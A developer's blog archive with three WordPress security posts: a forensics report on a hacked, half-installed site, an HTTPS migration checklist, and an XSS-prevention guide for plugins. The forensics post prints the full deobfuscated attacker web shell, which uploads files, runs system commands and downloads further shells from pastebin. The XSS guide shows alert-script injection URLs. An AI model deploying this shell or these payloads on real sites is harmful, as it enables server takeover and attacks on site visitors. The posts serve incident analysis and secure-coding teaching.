Category Archives: security

WordPress hacked site – forensics report

I was recently approached by a company whose WordPress website had unfortunately been hacked. This post details the forensics I performed during the clean-up operation. I’ll also note specific WordPress security recommendations based on my analysis.

Background

My client had recently registered new domain name, set up some webspace on their VPS and and then manually started installing the most recent version of WordPress. Before completing the install by running the WordPress installation script, they then went away on holiday for a week presuming they could complete the install on their return. Ordinarily, the WordPress install would be completed by entering database credentials, as shown in the example below:

After the client returned from their holiday, they tried accessing their site to complete the install, but they received a browser warning (see below):

Ignoring the warning and entering the site showed a black page with a “Rooted Syntax” logo (shown below).

Forensic analysis

A quick Google for “Rooted Syntax” led me to a hacker group’s Facebook page, which contained posts with details about sites they have defaced and hacked.

It was also clear from a Google search that other sites had been defaced in the same way.

My first task was to SSH into the server where the hacked site was hosted to look at the WordPress root. I immediately noticed a few oddities that wouldn’t normally be part of a WordPress base install.

The following files and directories caught my eye immediately:

  • Doc_file
  • Mailweb.zip
  • webmail
  • wso.php

As well as the non-standard files, I also noted the timestamps of the files — the original install had been done on March 20th, and it was clear that files had been added (e.g. wso.php) after that date.

To start the clean-up, I moved the document root to another location for further analysis and installed a new static HTML holding page for the site.

One of files that was modified since the original install was wp-config.php which I opened up to look for clues.

Upon viewing, it was immediately clear that the hacker had completed the WordPress install by entering their own MySQL credentials, which was hosted on a server used by the hacker.

Using those MySQL credentials, I was able to run SQL queries from my client’s host to help my investigation. I ran SHOW TABLES and it showed me 2,310 tables — considering each WordPress instance uses 12 tables by default, that makes approximately 192 hacked WordPress installation on this one MySQL server. The $table_prefix option in the MySQL wp-config.php had been use to give each install a unique prefix.

I was interested in seeing what files, if any, had been recently edited through the WordPress admin system. I ran the SQL select option_value from jhmxeoptions where option_name='recently_edited'\G to see what files had been recently edited by an admin user.


*************************** 1. row ***************************
option_value: a:3:{i:0;s:96:"/var/www/html/site/public_html/wp-content/themes/twentyseventeen/index.php";i:2;s:96:"/var/www/html/site/public_html/wp-content/themes/twentyseventeen/style.css";i:3;s:0:"";}
1 row in set (0.00 sec)

These results showed that the default Twenty Seventeen theme index.php and style.css files were edited through the admin system. Opening the index.php file showed the following:

It was now clear that the hackers had gained control of the site by entering their own database details, and subsequently altered the homepage of the default Twenty Seventeen theme by dropping in this new index.php file via the admin system.

Within the index.php was a large amount of obfuscated code. The hackers left in a comment to the tool used to generate the obfuscated code: FOPO. Unfortunately, the tool won’t un-obfuscate code without a cipher key, which I didn’t have. I had to decode the code by hand.

I won’t go into detail about how this was done, but the obfuscator works by running the initial PHP code through a series of stages involving PHP’s str_rot13, gzinflate and base64_decode functions. Eventually, this led me to the original source PHP file which is shown below (beutified through PHP Beautifier):

(edit 12th April 2018: after this post was published, I was pointed towards a FOPO-PHP-Deobfuscator script which would have decoded the code automatically).

?><?php

if (isset($_GET['root']) && $_GET['root'] == 'home') {
    echo '<title>Rooted Syntax Shell</title><link rel="SHORTCUT ICON" href="http://www.clipartbest.com/cliparts/di8/X5M/di8X5M4XT.png"><link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">';
    echo '<body bgcolor="black"><center><font color="#007700" style="font-size: 19px;font-family: Iceland;">';
    echo '<div id="deti"><font color="white" style="font-size: 19px;text-shadow:0px 0px 15px red;">Kernel Version : </font><font color="#00bb00" style="font-size: 19px">';
    echo php_uname();
    echo '</font>';
    echo '<br /><font color="white" style="font-size: 19px;text-shadow:0px 0px 15px red;">PHP Version:</font> <font color="00bb00" style="font-size: 19px">';
    echo phpversion();
    echo '</font><font color="#00dd00"> |</font> <font color="white" style="font-size: 19px;text-shadow:0px 0px 15px red;">Current User :</font> <font color="00bb00" style="font-size: 19px">';
    echo get_current_user();
    echo '</font><font color="#00dd00"> |</font> <font color="white" style="font-size: 19px;text-shadow:0px 0px 15px red;">User ID :</font> <font color="00bb00" style="font-size: 19px">';
    echo getmyuid();
    echo '</font><font color="#00dd00"> |</font> <font color="white" style="font-size: 19px;text-shadow:0px 0px 15px red;">Group :</font> <font color="00bb00" style="font-size: 19px">';
    echo getmygid();
    echo '<br />';
    echo '<br /></font> <font color="white" style="font-size: 19px;text-shadow:0px 0px 15px red;">CWD :</font> <font color="00bb00" style="font-size: 19px">';
    echo getcwd();
    echo '<br /><br />';
    if (isset($_POST['submit'])) {
        $filedir = "";
        $maxfile = '2000000';
        $userfile_name = $_FILES['file']['name'];
        $userfile_tmp = $_FILES['file']['tmp_name'];
        if (isset($_FILES['file']['name'])) {
            $abod = $filedir . $userfile_name;
            @move_uploaded_file($userfile_tmp, $abod);
            echo "<a href='$userfile_name' target='_blank' style='text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;'> $userfile_name</a><br /><br /> ";
        }
    }
    else {
        echo '<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="file"><input type="Submit" name="submit" value="Upload"></form>';
    }

    echo '</font></b></div><br /></center>';
    echo '<center>';
    echo '<il>[<a href="/index.php" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Home </a>] </il>';
    echo '<il>[<a href="?root=domains" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Domains </a>] </il>';
    echo '<il>[<a href="?root=wso" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> WSO </a>] </il>';
    echo '<il>[<a href="?root=symlink" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Symlink </a>] </il>';
    echo '<il>[<a href="?root=jumping" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Jumping </a>] </il>';
    echo '<il>[<a href="?root=wpmass" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> WP-Mass </a>] </il>';
    echo '<il>[<a href="?root=cmd" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> CMD </a>] </il>';
    echo '<il>[<a href="?root=mysql" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> DBkiss </a>] </il>';
    echo '<il>[<a href="?root=zone-h"  target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Zone-H </a>] </il>';
    echo "<br /> <br /><br />";
    echo '<textarea style="height: 300px; width:500px;">';
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'LINUX') {
        echo system('ls -la');
    }
    else {
        echo system('dir');
    }

    echo "</textarea>";
    echo '</center>';
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'domains') {
    $link = 'https://pastebin.com/raw/yKyudAB7';
    $page = file_get_contents($link);
    $file = 'domains.php';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'wso') {
    $link = 'https://pastebin.com/raw/kQCprKKH';
    $page = file_get_contents($link);
    $file = 'wso.php';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'symlink') {
    $link = 'https://pastebin.com/raw/wsycXMSz';
    $page = file_get_contents($link);
    $file = 'symlink.pl';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'jumping') {
    $link = 'https://pastebin.com/raw/zELkPGQY';
    $page = file_get_contents($link);
    $file = 'jumping.php';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'wpmass') {
    $link = 'https://pastebin.com/raw/LtExp6Ax';
    $page = file_get_contents($link);
    $file = 'wpmass.php';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'cmd') {
    $link = 'https://pastebin.com/raw/psinrJjn';
    $page = file_get_contents($link);
    $file = 'cmd.php';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'mysql') {
    $link = 'https://pastebin.com/raw/eTL96UQS';
    $page = file_get_contents($link);
    $file = 'db.php';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
elseif (isset($_GET["root"]) && $_GET["root"] == 'zone-h') {
    $link = 'http://pastebin.com/raw/LTxEJzyq';
    $page = file_get_contents($link);
    $file = 'zone.php';
    $handle = fopen($file, "w+");
    fwrite($handle, $page);
    echo "<a href='$file'> $file</a><br /><br />";
    fclose($handle);
}
else {
    echo '<!DOCTYPE HTML>
	<html lang="en-US">
	<head>
		<meta charset="UTF-8">
		<meta name="robots" content="index, follow"/>
		<meta name="rating" content="General"/>
		<meta name="revisit-after" content="1 days"/>
		<meta name="classification" content="Hacked"/>
		<meta name="keyword" content="Hacker,Hacked,Hacked Site,Hacked Website,Hackers,Underground Hackers,Web Hacker,Web Specialist,Grey Hat Hackers,Grey Hat,Top Hackers,Hacked,Rooted Syntax,Hacker Rooted Syntax,Hacked By Rooted Syntax,Hacked By Team X-Force,Security Warning,Web Security,Master of Hacking,Stamped By Rooted Syntax,Stamped By Team X-Force,Hacked By X-Force Cyber Army"/>
		<meta name="description" content="Stamped By X-Force Cyber Army"/>
		<meta name="googlebot" content="index,follow"/>
		<meta name="robots" content="all"/>
		<meta name="robots schedule" content="auto"/>
		<meta name="distribution" content="global"/>
		<base target="_blank"/>
		<meta name="Author" content="Rooted Syntax">
		<title>Hacked By Rooted Syntax</title>
		<meta http-equiv="imagetoolbar" content="no">
		<link rel="SHORTCUT ICON" href="http://www.clipartbest.com/cliparts/di8/X5M/di8X5M4XT.png">
		<link href="https://fonts.googleapis.com/css?family=Iceland" rel="stylesheet">
	</head>
	<body oncontextmenu="return false;" onkeydown="return false;" onmousedown="return false;">
	<style>
	.text{fill:none;stroke-width:4;stroke-linejoin:round;stroke-dasharray:70 330;stroke-dashoffset:0;-webkit-animation:stroke 6s infinite linear;animation:stroke 6s infinite linear}.text:nth-child(5n + 1) {stroke:#0f0;-webkit-animation-delay:-1.2s;animation-delay:-1.2s}.text:nth-child(5n + 2) {stroke:silver;-webkit-animation-delay:-2.4s;animation-delay:-2.4s}.text:nth-child(5n + 3) {stroke:#4169e1;-webkit-animation-delay:-3.6s;animation-delay:-3.6s}.text:nth-child(5n + 4) {stroke:red;-webkit-animation-delay:-4.8s;animation-delay:-4.8s}.text:nth-child(5n + 5) {stroke:#0ff;-webkit-animation-delay:-6s;animation-delay:-6s}@-webkit-keyframes stroke {
		100% {
			stroke-dashoffset: -400;
		}
		}@keyframes stroke {
		100% {
			stroke-dashoffset: -400;
		}
	}html,body{height:100%}body{background:#000;background-size:.2em 100%;font:6.5em/10 Iceland;text-transform:capitalize;margin:0;overflow:hidden;font-family:Iceland;width:100%;height:100%;margin:0}svg{position:absolute;width:100%;height:100%}#w{font:45px Iceland;color:#fff;position:absolute;left:0;right:0;top:35%}*{margin:0;padding:0}.rootedsyntax font{transition:all .3s ease 0s;-moz-transition:all .3s ease 0s;-webkit-transition:all .3s ease 0s;-o-transition:all .3s ease 0s}.rootedsyntax{color:#fff;text-align:center}.rootedsyntax font{font-size:20px;font-weight:normal;line-height:35px;margin-bottom:40px}.rootedsyntax font:hover{font-size:50px;line-height:50px;cursor:default}text:hover{cursor:default}
	</style>
	<svg viewBox="0 0 1000 300">
	<symbol id="s-text">
	<text text-anchor="middle" x="50%" y="15%" dy="0.25em">Rooted Syntax</text>
	</symbol>
	<use xlink:href="#s-text" class="text"></use>
	<use xlink:href="#s-text" class="text"></use>
	<use xlink:href="#s-text" class="text"></use>
	<use xlink:href="#s-text" class="text"></use>
	<use xlink:href="#s-text" class="text"></use>
	<center>
	<div class="rootedsyntax"></div>
	</center>
	</body>
	</html>';
} ?>

Examining the source code more closely revealed that many of the actions of the script are to download and install malicious scripts from remote locations, including the previously found wso.php. Additional scripts are downloaded by passing in the root GET parameter, for example index.php?root=domains.

There is also a generic file upload option available under root=home, which can be seen below:

The wso.php file appears to be a remote shell, allowing remote users to browse the filesystem:

After gathering this information, I was clear that the hackers could have accessed other parts of the web server. I continued my investigation by looking for other malicious files across the filesystem, but found nothing.

Conclusion

I haven’t detailed all of the steps that I took regarding cleaning up the server, as there are already many good articles out there that explain the process (e.g. FAQ My site was hacked or How to Clean a WordPress Hack). I did reach out the abuse@ address for the network that owns the IP address used by the MySQL server so they can take further action.

My assumption for this particular case was that hackers are scanning for websites on newly registered domains, then trying to see if a WordPress setup has been completed. If they find such a scenario, they are then taking over the site by putting in their own MySQL details. Scanning for such sites is trivial, for example, Shodan allows you to search for websites exposing the wp-admin/setup-config.php installation script.

Action points for WordPress administrators

Based on what I learnt from this particular hack, I would recommend:

  • Do not leave WordPress in a semi-installed state — even if it’s on a domain name that you have newly registered and/or not publicised.
  • Make sure admin users cannot write files to the server

To disable direct file edit through admin panel, set the following in the wp-config.php file:

define('DISALLOW_FILE_EDIT', true);

As well as that, there are various other generic security advice that you should follow if you are running a WordPress site:

Next steps

Need professional help to clean up your hacked WordPress site? I’m available for hire.

Glen Scott

I’m a freelance software developer with 18 years’ professional experience in web development. I specialise in creating tailor-made, web-based systems that can help your business run like clockwork. I am the Managing Director of Yellow Square Development.

More Posts

Follow Me:
TwitterFacebookLinkedIn

Securing your website

We’ve now reached a tipping point as the web moves from http (non-secure transmission) to https (secure transmission). Over half of the web is now encrypted meaning that if your site is not protected by a SSL/TLS certificate, you’re the exception rather than the norm.

There are big advantages for your business when you move to HTTPS:

  • Increases user trust (privacy concerns)
  • Faster loading times (if coupled with HTTP/2)
  • Possible increases in SEO ranking

Is your site already secure? It’s simple to check your site:

  1. Enter https://yourwebsiteaddress into Google Chrome
  2. Look at the icon to the left of the website address

If you are not secure, then you can follow these high level steps to move your site from http to https:

  1. Get cert from Lets Encrypt
  2. Install and enable cert for your website
  3. Install and enable certificate auto renewals with certbot
  4. Add server-side 301 redirect so all http traffic goes to https
  5. Verify website pages work as expected
  6. Fix mixed-content errors
  7. Add HSTS header to save browsers redirecting
  8. Add new https URL in Google Search Console

If you need any help moving your site to HTTPS, please email me.

Glen Scott

I’m a freelance software developer with 18 years’ professional experience in web development. I specialise in creating tailor-made, web-based systems that can help your business run like clockwork. I am the Managing Director of Yellow Square Development.

More Posts

Follow Me:
TwitterFacebookLinkedIn

Prevent XSS vulnerabilities in your WordPress plugin code

Note: The following article is an extract from my guide on creating secure WordPress plugins. As well as XSS, it will contain advice on avoiding SQL injection, CSRF and other vulnerabilities. You can get hold of it here: WordPress Plugin Security Handbook.

Cross Site Scripting (XSS)

The most common vulnerability found in WordPress related code is Cross Site Scripting (XSS).

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping.

XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

There are two main types of XSS:

  1. Persistent (or Stored)
  2. Reflected

With persistent XSS, the vulnerable code will be stored server side, either in a database on on the file system, and then surfaced when a user visits a page.

With reflected XSS, an attacker crafts a specially formatted URL which is intended to cause harm once a user clicks on it.

Reflected XSS is less dangerous because it relies on an attacker convincing the victim to click on the specially crafted URL.

Both types of XSS are caused when a WordPress plugin trusts user-supplied input.

Where could user input come from?

  • GET or POST parameters in forms (for example, your admin page)
  • Cookies
  • HTTP request headers

Key lesson: Do not trust user input.

How to prevent XSS?

Whenever you are outputting user-supplied data, make sure it is properly escaped. When you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML, escape it.

Let’s look at some examples of XSS vulnerabilities that have affected plugins, and have subsequently been fixed to see what we can learn.

XSS Persistent Example

Let’s take a look at an example of an XSS persistent vulnerability.

WP-Stats

The vulnerable Plugin is called WP-Stats (version <= 2.51) In this example, the plugin has requested a URL from an admin user on the admin screen. But before displaying it, it should be escaped with esc_url to prevent XSS. Before change, we can see an option called “stats_url” being echoed out within the href attribute, after being stripped of slashes. [php] echo '<li><a href="'.stripslashes(get_option('stats_url')).'">'.__('My Blog Statistics', 'wp-stats').'</a></li>'."\n"; [/php] After the change, we can see the URL being run through the escaping method called “esc_url”. [php] echo '<li><a href="'.esc_url( get_option( 'stats_url' ) ).'">'.__('My Blog Statistics', 'wp-stats').'</a></li>'."\n";  [/php] Also, within the same plugin we see another XSS vulnerability: [html] <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?page=<?php echo plugin_basename(__FILE__); ?>">  [/html] In this case, the PHP_SELF server super global is being echoed without being escaped. This is dangerous because a malicious user could inject dangerous code into the action just via a specially crafted URL. Example:

http://wordpress/form.php%E2%80%9D%3E%3Cscript%3Ealert%28%E2%80%98Vulnerable%E2%80%99%29%3B%3C%2Fscript%3E

Would lead to the HTML form tag looking like this:

<form method=“post” action=“/form.php”><script>alert(‘Vulnerable’);</script>?page=…

After the fix:

<form method="post" action="<?php echo admin_url( 'admin.php?page='.plugin_basename( __FILE__ ) ); ?>"> 

Key lesson: Don’t echo PHP_SELF into form action attributes. Use esc_url or as above, admin_url if the page is an administration page.

Example XSS (Reflected)

QTranslate

QTranslate is a plugin for helping manage language translation throughout your site.

The edit GET parameter is not sanitised before being show to a user. A specially craft URL like the one below can be used to inject malicious code into the page.

http://wordpress/wp-admin/options-general.php?page=qtranslate&edit=%22%3E%3Cscript%3Ealert%28%2FVulnerable%2F%29%3B%3C%2Fscript%3E

To prevent this, the esc_html function should be used before echoing out the contents of “edit” parameter to the user on the options-general.php page.

YOP Poll

YOP Poll allows you to add surveys to your site.

Echoing out user-supplied data in Javascript:

                function close_window() { 
                    var yop_poll_various_config = new Object(); 
                    yop_poll_various_config.poll_id = '<?php echo yop_poll_base64_decode( $_GET['poll_id'] )                                    ?>'; 

Fixed version:

yop_poll_various_config.poll_id = '<?php echo esc_js(yop_poll_base64_decode( $_GET['poll_id'] ))                                ?>';

Key lessons

Encode data before use in a parser ( JS, CSS , XML )

You are writing data into HTML attributes, use:

esc_attr

You are writing data into HTML, use:

esc_html

You are writing user supplied data into JavaScript, use:

esc_js

You are asking a user for a URL and writing it into HTML, use:

esc_url_raw / esc_url

References

https://codex.wordpress.org/Data_Validation#Output_Sanitization
https://codex.wordpress.org/Function_Reference/esc_html
https://codex.wordpress.org/Function_Reference/esc_attr
https://codex.wordpress.org/Function_Reference/esc_js
https://codex.wordpress.org/Function_Reference/esc_url

Further reading

WordPress Plugin Security Handbook

Glen Scott

I’m a freelance software developer with 18 years’ professional experience in web development. I specialise in creating tailor-made, web-based systems that can help your business run like clockwork. I am the Managing Director of Yellow Square Development.

More Posts

Follow Me:
TwitterFacebookLinkedIn